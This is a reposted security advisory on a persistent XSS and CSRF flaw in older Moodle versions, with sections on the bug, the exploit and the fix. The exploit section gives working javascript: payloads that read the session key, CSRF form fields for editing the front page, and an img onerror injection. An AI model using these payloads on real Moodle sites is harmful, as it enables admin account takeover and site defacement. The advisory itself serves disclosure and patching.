来源:自学PHP网 时间:2015-04-17 10:15 作者: 阅读:次
[导读] #########################################################应用程序: Moodle http://download.moodle.org/影响版本: = 2.3.9, 2.4.6系统平台: Windows, Mac, Linux缺陷类型: Persistant XSS / CS......
######################################################### 应用程序: Moodle http://download.moodle.org/ 影响版本: <= 2.3.9, 2.4.6 系统平台: Windows, Mac, Linux 缺陷类型: Persistant XSS / CSRF Exploitation: WEB 作者: Ciaran McNally 网站: http://makthepla.net/blog/=/moodle-2-account-takeover ###################### 1) Bug. 2) The exploit. 3) Fix. ################################################################ Moodle is a Course Management System (CMS), also known as a Learning Management System (LMS) or a Virtual Learning Environment (VLE). It is a Free web application that educators can use to create effective online learning sites. ################################################################ ====== 1) 缺陷 ====== At the following URL as a student, http://server/blog/external_blog_edit.php It is possible to remotely add an rss blog. The <link> parameter in an rss feed is vulnerable to javascript injection. This blog post is viewable by everyone on moodle and you can link to it directly. Upon clicking the "Link to original blog entry" link, you get javascript execution. In moodle the "sesskey" parameter holds the session key used to prevent csrf, this isn't unique for every form once logged in so many forms can be submitted using this item. It is available on every page which makes xss quite dangerous in this case. ################################################################ ============== 2) The exploit ============== Using a link value of <link>javascript:prompt(document.domain);</link> This will display a demonstrative prompt as expected. For a live example you can remotely include my blog rss feed. http://makthepla.net/Rss/ My moodle blog post has a <link> value of the following. javascript:alert("Session key = "+M.cfg.sesskey+"\nUser ID = "+window.location.search.split("=")[1]); This displays the session key and the current users id. If you can get an admin to click the link and submit the following form trough javascript, you can post xss onto the main login page of your victim moodle site. <input type="hidden" name="id" value="1"> <input type="hidden" name="sr" value="0"> <input type="hidden" name="sesskey" value="x"> <input type="hidden" name="_qf__editsection_form" value="1"> <input type="hidden" name="mform_isexpanded_id_generalhdr" value="1"> <input type="hidden" name="userdefaultname" value="1"> <input type="hidden" name="summary_editor[text]" value="THE FRONT PAGE DATA AND/OR XSS"> <input type="hidden" name="summary_editor[format]" value="1"> <input type="hidden" name="summary_editor[itemid]" value=""> <input type="hidden" name="submitbutton" value="Save+changes"> You can read more about this on the original blog post. You can get xss on the main login easily using html such as <img src=x onerror=XSS> when posting as an admin via csrf. ################################################################# ====== 3) 修复 ====== https://tracker.moodle.org/browse/MDL-41623 (This requires a login to view) Upgrade to versions 2.3.9, 2.4.6 and 2.5.2.
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com